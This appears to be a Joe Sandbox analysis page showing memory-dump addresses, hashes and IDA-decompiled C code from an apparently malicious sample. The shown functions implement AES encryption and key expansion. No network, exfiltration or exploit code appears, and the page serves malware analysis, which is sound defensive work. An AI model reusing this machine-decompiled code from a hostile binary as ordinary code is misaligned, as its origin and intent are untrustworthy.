              0x0235bc85
              0x0235bc85
              0x0235bc8d
              0x0235bc8d
              0x0235bca3
              0x0235bca6
              0x0235bcae
              0x0235bcb6
              0x0235bcb6
              0x0235bcb9
              0x0235bcb9
              0x0235bcca
              0x0235bccd
              0x0235bcd2
              0x0235bcd7
              0x0235bcd7
              0x0235bcdd
              0x0235bcdd
              0x0235bcf1
              0x0235bcf4
              0x0235bcfc
              0x0235bd04
              0x0235bd04
              0x0235bd0a
              0x0235bd0a
              0x0235bd1c
              0x0235bd21
              0x0235bd29
              0x0235bd31
              0x0235bd31
              0x0235bd34
              0x0235bd34
              0x0235bd43
              0x0235bd48
              0x0235bd4d
              0x0235bd52
              0x0235bd52
              0x0235bd55
              0x0235bd55
              0x0235bd64
              0x0235bd69
              0x0235bd6e
              0x0235bd73
              0x0235bd73
              0x0235bd79
              0x0235bd79
              0x0235bd8d
              0x0235bd90
              0x0235bd98
              0x0235bda0
              0x0235bda0
              0x0235bda6
              0x0235bda6
              0x0235bdba
              0x0235bdbd
              0x0235bdc5
              0x0235bdcd
              0x0235bdcd
              0x0235bdd0
              0x0235bdd0
              0x0235bddf
              0x0235bde4
              0x0235bde9
              0x0235bdee
              0x0235bdee
              0x0235bdf1
              0x0235bdf1
              0x0235be00
              0x0235be05
              0x0235be0a
              0x0235be0f
              0x0235be0f
              0x0235be12
              0x0235be12
              0x0235be23
              0x0235be26
              0x0235be2b
              0x0235be30
              0x0235be30
              0x0235be36
              0x0235be36
              0x0235be4a
              0x0235be4d
              0x0235be55
              0x0235be5d
              0x0235be5d
              0x0235be60
              0x0235be60
              0x0235be71
              0x0235be74
              0x0235be79
              0x0235be7c
              0x0235be82
              0x0235be82
              0x0235be88
              0x0235be99
              0x0235bea1
              0x0235bea9
              0x0235bea9
              0x0235beac
              0x0235beac
              0x0235beaf
              0x0235bec0
              0x0235bec5
              0x0235beca
              0x0235becf
              0x0235becf
              0x0235bed2
              0x0235bed2
              0x0235bee1
              0x0235bee6
              0x0235beeb
              0x0235befc
              0x0235bf01
              0x0235bf06
              0x0235bf06
              0x0235bf09
              0x0235bf0c
              0x0235bf0c
              0x0235bf0f
              0x0235bf0f
              0x0235bf12
              0x0235bf15
              0x0235bf18
              0x0235bf1b
              0x0235bf1e
              0x0235bf1e
              0x0235bf21
              0x0235bf24
              0x0235bf27
              0x0235bf2e
              0x0235bf34
              0x0235bf37
              0x0235bf3a
              0x0235bf40
              0x0235bf43
              0x0235bf49
              0x0235bf54
              0x0235bf6a
              0x0235bf6f
              0x0235bf85
              0x0235bf87
              0x0235bf8a
              0x0235bfa2
              0x0235bfa4
              0x0235bfa7
              0x0235bfc0
              0x0235bfc3
              0x0235bfc6
              0x0235bfc9
              0x0235bfc9
              0x0235bfcc
              0x0235bfcf
              0x0235bfcf
              0x0235bfd2
              0x0235bfd2
              0x0235bfd5
              0x0235bfd8
              0x0235bfdb
              0x0235bfde
              0x0235bfe1
              0x0235bfe1
              0x0235bfe4
              0x0235bfe7
              0x0235bfea
              0x0235bff1
              0x0235bff7
              0x0235bffa
              0x0235bffd
              0x0235c003
              0x0235c006
              0x0235c00c
              0x0235c018
              0x0235c02e
              0x0235c033
              0x0235c049
              0x0235c04b
              0x0235c04e
              0x0235c066
              0x0235c068
              0x0235c06b
              0x0235c084
              0x0235c087
              0x0235c08a
              0x0235c08d
              0x0235c08d
              0x0235c090
              0x0235c093
              0x0235c093
              0x0235c096
              0x0235c096
              0x0235c099
              0x0235c09c
              0x0235c09f
              0x0235c0a2
              0x0235c0a5
              0x0235c0a5
              0x0235c0a8
              0x0235c0ab
              0x0235c0ae
              0x0235c0b5
              0x0235c0bb
              0x0235c0be
              0x0235c0c1
              0x0235c0c7
              0x0235c0ca
              0x0235c0cf
              0x0235c0dc
              0x0235c0f2
              0x0235c0f7
              0x0235c10b
              0x0235c10f
              0x0235c115
              0x0235c12a
              0x0235c12c
              0x0235c12f
              0x0235c148
              0x0235c14b
              0x0235c14e
              0x0235c151
              0x0235c151
              0x0235c157
              0x0235c15d
              0x0235c15d
              0x0235c163
              0x0235c163
              0x0235c169
              0x0235c16c
              0x0235c16f
              0x0235c172
              0x0235c178
              0x0235c178
              0x0235c17e
              0x0235c181
              0x0235c184
              0x0235c18b
              0x0235c191
              0x0235c197
              0x0235c19a
              0x0235c1a0
              0x0235c1a6
              0x0235c1ab
              0x0235c1b8
              0x0235c1ce
              0x0235c1d6
              0x0235c1ef
              0x0235c1f1
              0x0235c1fa
              0x0235c212
              0x0235c214
              0x0235c21d
              0x0235c22e
              0x0235c23c
              0x0235c242
              0x0235c248
              0x0235c248
              0x0235c24e
              0x0235c24e
              0x0235c254
              0x0235c25a
              0x0235c25d
              0x0235c263
              0x0235c263
              0x0235c269
              0x0235c26c
              0x0235c272
              0x0235c272
              0x0235c278
              0x0235c27b
              0x0235c27e
              0x0235c285
              0x0235c28b
              0x0235c291
              0x0235c294
              0x0235c29a
              0x0235c2a0
              0x0235c2a8
              0x0235c2b5
              0x0235c2ce
              0x0235c2d6
              0x0235c2ef
              0x0235c2f1
              0x0235c2f3
              0x0235c2fc
              0x0235c314
              0x0235c31d
              0x0235c336
              0x0235c33c
              0x0235c342
              0x0235c347
              0x0235c349
              0x0235c349
              0x0235c34c
              0x0235c34f
              0x0235c352
              0x0235c355
              0x0235c367

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ecaf76414d7f76aeb76ad3e5d628902a91b1ba3828cb8dd49969913cddd8a100
              • Instruction ID: bf27b6e2ff3bb2d7b48f187dd2f2f6b4c426b779beb078dd7197e83c043f124b
              • Opcode Fuzzy Hash: ecaf76414d7f76aeb76ad3e5d628902a91b1ba3828cb8dd49969913cddd8a100
              • Instruction Fuzzy Hash: 11A2F475A106198FDB48CF69C491AAAF7F2BF8C300F55856ED85AEB741CB34A841CF90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 75%
              			E02359252(void* __eflags, unsigned int _a4, signed int _a8, signed int _a12, signed int* _a16) {
              				unsigned int _v8;
              				unsigned int _v12;
              				unsigned int _v16;
              				unsigned int _v20;
              				signed int _t383;
              				signed char _t388;
              				signed char _t393;
              				unsigned int _t394;
              				signed int* _t396;
              				unsigned int _t413;
              				signed int _t420;
              				unsigned int _t434;
              				unsigned int _t453;
              				unsigned int _t499;
              				unsigned int _t501;
              				unsigned int _t507;
              				signed int* _t509;
              				signed int* _t511;
              				signed int* _t512;
              				signed int _t516;
              				signed int _t517;
              				signed int _t519;
              				void* _t521;
              
              				_t521 = __eflags;
              				_t396 = _a12;
              				asm("rol eax, 0x8");
              				asm("ror edx, 0x8");
              				_t511 = _a4;
              				_a4 = ( *_t396 & 0xff00ff00 |  *_t396 & 0x00ff00ff) ^  *_t511;
              				asm("rol eax, 0x8");
              				asm("ror edx, 0x8");
              				_t6 =  &(_t511[1]); // 0x330475c0
              				asm("rol eax, 0x8");
              				asm("ror ebx, 0x8");
              				_v12 = (_t396[1] & 0xff00ff00 | _t396[1] & 0x00ff00ff) ^  *_t6;
              				_t9 =  &(_t511[2]); // 0x560aebc0
              				_t388 = (_t396[2] & 0xff00ff00 | _t396[2] & 0x00ff00ff) ^  *_t9;
              				asm("rol eax, 0x8");
              				asm("ror edx, 0x8");
              				_t11 =  &(_t511[3]); // 0xffe7f1e8
              				_t499 = (_t396[3] & 0xff00ff00 | _t396[3] & 0x00ff00ff) ^  *_t11;
              				_t21 =  &(_t511[4]); // 0x59c033ff
              				_v16 =  *(0x235eb78 + (_t388 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_a4 >> 0x18) * 4) ^  *(0x235ef78 + (_t499 & 0x000000ff) * 4) ^  *_t21;
              				_t33 =  &(_t511[5]); // 0x8b5e5b40
              				_v8 =  *(0x235eb78 + (_t499 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_t388 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_v12 >> 0x18) * 4) ^  *(0x235ef78 + (_a4 & 0x000000ff) * 4) ^  *_t33;
              				_a12 =  *(0x235e778 + (_t499 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235eb78 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e378 + (_t388 >> 0x18) * 4);
              				_t413 = _v12;
              				_t516 = _a12 ^  *(0x235ef78 + (_t413 & 0x000000ff) * 4);
              				_a12 = _t516;
              				_t48 =  &(_t511[6]); // 0x55c35de5
              				_a12 = _t516 ^  *_t48;
              				_t60 =  &(_t511[7]); // 0xec83ec8b
              				_t420 =  *(0x235eb78 + (_t413 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_t499 >> 0x18) * 4) ^  *(0x235ef78 + (_t388 & 0x000000ff) * 4) ^  *_t60;
              				_t512 =  &(_t511[8]);
              				_a8 = (_a8 >> 1) - 1;
              				while(1) {
              					_a4 = _t420;
              					if(_t521 == 0) {
              						break;
              					}
              					_t517 = _a12;
              					_t501 = _v16;
              					_v12 =  *(0x235eb78 + (_t517 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_t501 >> 0x18) * 4) ^  *(0x235ef78 + (_a4 & 0x000000ff) * 4) ^  *_t512;
              					_t85 =  &(_t512[1]); // 0x5350d045
              					_v20 =  *(0x235eb78 + (_a4 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_t517 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_v8 >> 0x18) * 4) ^  *(0x235ef78 + (_t501 & 0x000000ff) * 4) ^  *_t85;
              					_t434 = _v8;
              					_t97 =  &(_t512[2]); // 0x1baae8
              					_t393 =  *(0x235e778 + (_a4 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235eb78 + (_t501 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e378 + (_t517 >> 0x18) * 4) ^  *(0x235ef78 + (_t434 & 0x000000ff) * 4) ^  *_t97;
              					_t107 =  &(_t512[3]); // 0x14c48300
              					_t507 =  *(0x235eb78 + (_t434 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_t501 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_a4 >> 0x18) * 4) ^  *(0x235ef78 + (_t517 & 0x000000ff) * 4) ^  *_t107;
              					_t118 =  &(_t512[4]); // 0x1374c085
              					_v16 =  *(0x235eb78 + (_t393 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_v12 >> 0x18) * 4) ^  *(0x235ef78 + (_t507 & 0x000000ff) * 4) ^  *_t118;
              					_t130 =  &(_t512[5]); // 0xff0c75ff
              					_v8 =  *(0x235eb78 + (_t507 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_t393 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_v20 >> 0x18) * 4) ^  *(0x235ef78 + (_v12 & 0x000000ff) * 4) ^  *_t130;
              					_a12 =  *(0x235e778 + (_t507 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235eb78 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e378 + (_t393 >> 0x18) * 4);
              					_t453 = _v20;
              					_t519 = _a12 ^  *(0x235ef78 + (_t453 & 0x000000ff) * 4);
              					_a12 = _t519;
              					_t145 =  &(_t512[6]); // 0xe8530875
              					_a12 = _t519 ^  *_t145;
              					_t156 =  &(_t512[7]); // 0x1b4f
              					_t420 =  *(0x235eb78 + (_t453 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x235e778 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x235e378 + (_t507 >> 0x18) * 4) ^  *(0x235ef78 + (_t393 & 0x000000ff) * 4) ^  *_t156;
              					_t512 =  &(_t512[8]);
              					_t157 =  &_a8;
              					 *_t157 = _a8 - 1;
              					__eflags =  *_t157;
              				}
              				_t394 = _v16;
              				_t509 = _a16;
              				asm("rol ecx, 0x8");
              				asm("ror eax, 0x8");
              				 *_t509 = ( *(0x235f378 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0xff00ff00 | ( *(0x235f378 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0x00ff00ff;
              				_t184 =  &(_t512[1]); // 0x5350d045
              				asm("rol ecx, 0x8");
              				asm("ror eax, 0x8");
              				_t509[1] = ( *(0x235f378 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0xff00ff00 | ( *(0x235f378 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0x00ff00ff;
              				_t197 =  &(_t512[2]); // 0x1baae8
              				asm("ror eax, 0x8");
              				asm("rol ecx, 0x8");
              				_t509[2] = ( *(0x235f378 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0xff00ff00 | ( *(0x235f378 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0x00ff00ff;
              				_t210 =  &(_t512[3]); // 0x14c48300
              				asm("rol ecx, 0x8");
              				asm("ror eax, 0x8");
              				_t383 = ( *(0x235f378 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0xff00ff00 | ( *(0x235f378 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0x00ff00ff;
              				_t509[3] = _t383;
              				return _t383;
              			}


























              0x02359252
              0x02359258
              0x0235926b
              0x02359270
              0x0235927b
              0x02359280
              0x02359285
              0x0235928a
              0x02359294
              0x02359299
              0x023592a1
              0x023592a4
              0x023592ae
              0x023592ae
              0x023592b3
              0x023592bb
              0x023592cd
              0x023592cd
              0x023592fd
              0x02359303
              0x0235933b
              0x02359341
              0x0235936d
              0x02359370
              0x0235937f
              0x02359388
              0x0235938b
              0x02359395
              0x023593bc
              0x023593bc
              0x023593bf
              0x023593c7
              0x023595bd
              0x023595bd
              0x023595c0
              0x00000000
              0x00000000
              0x023593cf
              0x023593ea
              0x02359415
              0x02359448
              0x02359451
              0x02359469
              0x0235948f
              0x0235948f
              0x023594be
              0x023594be
              0x023594f7
              0x023594fd
              0x02359535
              0x0235953b
              0x02359567
              0x0235956a
              0x02359579
              0x02359582
              0x02359585
              0x0235958f
              0x023595b3
              0x023595b3
              0x023595b6
              0x023595b9
              0x023595b9
              0x023595b9
              0x023595b9
              0x023595d4
              0x023595d7
              0x02359625
              0x02359628
              0x02359638
              0x02359685
              0x0235968a
              0x0235968d
              0x0235969d
              0x023596ed
              0x023596f2
              0x023596fa
              0x02359708
              0x02359753
              0x02359758
              0x0235975b
              0x0235976a
              0x0235976d
              0x02359774

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 012c0b014698ccce6bb69d47805c1b9dda53f4f0b78a16560075b38b007aec1f
              • Instruction ID: 40706b9dfe5a3dcb01cab2ae3c96576fa63353fcd9b56ab687f24404747b5b95
              • Opcode Fuzzy Hash: 012c0b014698ccce6bb69d47805c1b9dda53f4f0b78a16560075b38b007aec1f
              • Instruction Fuzzy Hash: 22E14EB1E506788BE708CE1DE89157A73E4FB49302B45495EE646C7381CA39F732EB90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 80%
              			E02359775(signed int* _a4, signed int* _a8, signed int* _a12) {
              				signed int _t164;
              				signed int _t180;
              				signed int* _t197;
              				signed int _t199;
              				signed int* _t216;
              				signed int _t218;
              				signed int* _t222;
              				void* _t223;
              				signed int _t239;
              				signed int _t259;
              				signed int _t277;
              				signed int _t295;
              				signed int* _t298;
              				signed int _t317;
              				signed int _t320;
              				signed int _t324;
              				signed int _t331;
              				signed int _t333;
              				signed int _t335;
              				signed int _t338;
              				signed int _t345;
              				signed int _t347;
              				signed int _t350;
              				signed int _t354;
              				signed char _t357;
              				signed int _t365;
              				signed int* _t366;
              				signed int _t372;
              				signed int* _t373;
              				signed int* _t374;
              				signed int _t381;
              				signed int _t388;
              				signed int _t395;
              				signed int* _t396;
              				signed int* _t398;
              				signed int* _t399;
              				signed int* _t401;
              				signed int* _t402;
              
              				_t298 = _a8;
              				_t399 = _a4;
              				asm("rol eax, 0x8");
              				asm("ror ecx, 0x8");
              				_t3 =  &(_t399[1]); // 0x2358d3d
              				_t396 = _t3;
              				 *_t399 =  *_t298 & 0xff00ff00 |  *_t298 & 0x00ff00ff;
              				asm("ror eax, 0x8");
              				asm("rol ecx, 0x8");
              				 *_t396 = _t298[1] & 0xff00ff00 | _t298[1] & 0x00ff00ff;
              				asm("ror eax, 0x8");
              				asm("rol ecx, 0x8");
              				_t399[2] = _t298[2] & 0xff00ff00 | _t298[2] & 0x00ff00ff;
              				asm("ror edx, 0x8");
              				asm("rol eax, 0x8");
              				_t354 = _t298[3] & 0xff00ff00 | _t298[3] & 0x00ff00ff;
              				_t399[3] = _t354;
              				if(_a12 != 0x80) {
              					asm("ror eax, 0x8");
              					asm("rol ecx, 0x8");
              					_t399[4] = _t298[4] & 0xff00ff00 | _t298[4] & 0x00ff00ff;
              					asm("ror edx, 0x8");
              					asm("rol eax, 0x8");
              					_t357 = _t298[5] & 0xff00ff00 | _t298[5] & 0x00ff00ff;
              					_t399[5] = _t357;
              					if(_a12 != 0xc0) {
              						asm("rol ecx, 0x8");
              						asm("ror eax, 0x8");
              						_t399[6] = _t298[6] & 0xff00ff00 | _t298[6] & 0x00ff00ff;
              						asm("ror eax, 0x8");
              						asm("rol ecx, 0x8");
              						_t164 = _t298[7] & 0xff00ff00 | _t298[7] & 0x00ff00ff;
              						_t399[7] = _t164;
              						if(_a12 != 0x100) {
              							return 0;
              						}
              						_a8 = 0x2360b7c;
              						_t93 =  &(_t399[2]); // 0xc35de58b
              						_t365 = ( *(0x235f378 + (_t164 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x235f378 + (_t164 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t164 >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + (_t164 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
              						_t180 =  *_t396 ^ _t365;
              						_t399[8] = _t365;
              						_t399[9] = _t180;
              						_t98 =  &(_t399[0xc]); // 0x2358d69
              						_t366 = _t98;
              						_t317 =  *_t93 ^ _t180;
              						_a12 = _t366;
              						_t100 =  &(_t399[3]); // 0x83ec8b55
              						_t399[0xa] = _t317;
              						_t399[0xb] =  *_t100 ^ _t317;
              						do {
              							_t103 = _t366 - 4; // 0x50e0458d
              							_t197 = _a12;
              							_t372 =  *(0x235f378 + ( *_t103 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + ( *_t103 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x235f378 + ( *_t103 >> 0x18) * 4) & 0xff000000 ^  *(0x235f378 + ( *_t103 & 0x000000ff) * 4) & 0x000000ff ^  *(_t197 - 0x20);
              							 *_t197 = _t372;
              							_t199 =  *(_t197 - 0x1c) ^ _t372;
              							_t373 = _a12;
              							 *(_t373 + 4) = _t199;
              							_t320 =  *(_t373 - 0x18) ^ _t199;
              							 *(_t373 + 8) = _t320;
              							 *(_t373 + 0xc) =  *(_t373 - 0x14) ^ _t320;
              							_t374 = _t373 + 0x20;
              							_a12 = _t374;
              							_t216 = _a12;
              							_t381 =  *(0x235f378 + ( *(_t374 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + ( *(_t374 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x235f378 + ( *(_t374 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + ( *(_t374 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t216 - 0x30) ^  *_a8;
              							 *(_t216 - 0x10) = _t381;
              							_t218 =  *(_t216 - 0x2c) ^ _t381;
              							_t366 = _a12;
              							 *(_t366 - 0xc) = _t218;
              							_t324 =  *(_t366 - 0x28) ^ _t218;
              							 *(_t366 - 8) = _t324;
              							 *(_t366 - 4) =  *(_t366 - 0x24) ^ _t324;
              							_t222 =  &(_a8[1]);
              							_a8 = _t222;
              						} while (_t222 != 0x2360b94);
              						_push(0xe);
              						L4:
              						_pop(_t223);
              						return _t223;
              					}
              					_t331 = ( *(0x235f378 + (_t357 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x235f378 + (_t357 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t357 >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + (_t357 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
              					_t398 = 0x2360b7c;
              					_t239 =  *_t396 ^ _t331;
              					_t399[6] = _t331;
              					_t54 =  &(_t399[2]); // 0xc35de58b
              					_t333 =  *_t54 ^ _t239;
              					_t399[7] = _t239;
              					_t56 =  &(_t399[3]); // 0x83ec8b55
              					_t399[8] = _t333;
              					_t399[9] =  *_t56 ^ _t333;
              					_t401 =  &(_t399[0xa]);
              					do {
              						_t59 = _t401 - 0x18; // 0x75ff29eb
              						_t60 = _t401 - 4; // 0xc4c3e8a5
              						_t335 =  *_t59 ^  *_t60;
              						_t61 = _t401 - 0x14; // 0x8df98b10
              						 *_t401 = _t335;
              						_t401[1] =  *_t61 ^ _t335;
              						_t63 =  &(_t401[6]); // 0xf48b89
              						_t401 = _t63;
              						_t388 =  *(0x235f378 + ( *(_t401 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + ( *(_t401 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x235f378 + ( *(_t401 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + ( *(_t401 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t401 - 0x28) ^  *_t398;
              						_t398 =  &(_t398[1]);
              						 *(_t401 - 0x10) = _t388;
              						_t259 =  *(_t401 - 0x24) ^ _t388;
              						 *(_t401 - 0xc) = _t259;
              						_t338 =  *(_t401 - 0x20) ^ _t259;
              						 *(_t401 - 8) = _t338;
              						 *(_t401 - 4) =  *(_t401 - 0x1c) ^ _t338;
              					} while (_t398 != 0x2360b98);
              					_push(0xc);
              					goto L4;
              				}
              				_t345 = ( *(0x235f378 + (_t354 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0x235f378 + (_t354 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t354 >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + (_t354 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
              				_t277 =  *_t396 ^ _t345;
              				_t399[4] = _t345;
              				_t19 =  &(_t399[2]); // 0xc35de58b
              				_t399[5] = _t277;
              				_t347 =  *_t19 ^ _t277;
              				_t399[6] = _t347;
              				_t399[7] = _t354 ^ _t347;
              				_t402 = 0x2360b7c;
              				do {
              					_t23 =  &(_t396[4]); // 0x120
              					_t396 = _t23;
              					_t395 =  *(0x235f378 + (_t396[2] >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x235f378 + (_t396[2] >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0x235f378 + (_t396[2] >> 0x18) * 4) & 0x000000ff ^  *(0x235f378 + (_t396[2] & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t396 - 4) ^  *_t402;
              					_t402 =  &(_t402[1]);
              					_t396[3] = _t395;
              					_t295 =  *_t396 ^ _t395;
              					_t396[4] = _t295;
              					_t350 = _t396[1] ^ _t295;
              					_t396[5] = _t350;
              					_t396[6] = _t396[2] ^ _t350;
              				} while (_t402 != 0x2360ba0);
              				_push(0xa);
              				goto L4;
              			}









































              0x02359779
              0x02359782
              0x0235978a
              0x02359792
              0x02359797
              0x02359797
              0x0235979c
              0x023597a3
              0x023597a8
              0x023597b3
              0x023597ba
              0x023597bf
              0x023597ca
              0x023597d2
              0x023597d5
              0x023597e3
              0x023597ec
              0x023597ef
              0x023598ec
              0x023598f4
              0x023598ff
              0x02359907
              0x0235990a
              0x02359918
              0x02359921
              0x02359924
              0x02359a3e
              0x02359a41
              0x02359a4e
              0x02359a56
              0x02359a59
              0x02359a64
              0x02359a6d
              0x02359a70
              0x00000000
              0x02359bf0
              0x02359a78
              0x02359ac1
              0x02359ad4
              0x02359adb
              0x02359add
              0x02359ae0
              0x02359ae3
              0x02359ae3
              0x02359ae6
              0x02359ae8
              0x02359aeb
              0x02359af0
              0x02359af3
              0x02359afb
              0x02359afb
              0x02359b3f
              0x02359b42
              0x02359b45
              0x02359b4a
              0x02359b4c
              0x02359b52
              0x02359b55
              0x02359b5c
              0x02359b5f
              0x02359b62
              0x02359b65
              0x02359baf
              0x02359bb5
              0x02359bb7
              0x02359bbd
              0x02359bbf
              0x02359bc2
              0x02359bc8
              0x02359bca
              0x02359bd2
              0x02359bd8
              0x02359bdb
              0x02359bde
              0x02359be9
              0x023598e1
              0x023598e1
              0x00000000
              0x023598e1
              0x0235997e
              0x02359980
              0x02359985
              0x02359987
              0x0235998a
              0x0235998d
              0x0235998f
              0x02359992
              0x02359997
              0x0235999a
              0x0235999d
              0x023599a0
              0x023599a0
              0x023599a3
              0x023599a3
              0x023599a6
              0x023599ab
              0x023599ad
              0x023599b0
              0x023599b0
              0x02359a01
              0x02359a03
              0x02359a06
              0x02359a0c
              0x02359a0e
              0x02359a14
              0x02359a16
              0x02359a1e
              0x02359a21
              0x02359a2d
              0x00000000
              0x02359a2d
              0x02359849
              0x0235984b
              0x0235984d
              0x02359850
              0x02359853
              0x02359856
              0x0235985a
              0x0235985f
              0x02359862
              0x02359867
              0x02359867
              0x02359867
              0x023598b8
              0x023598ba
              0x023598bd
              0x023598c2
              0x023598c4
              0x023598ca
              0x023598cc
              0x023598d4
              0x023598d7
              0x023598df
              0x00000000

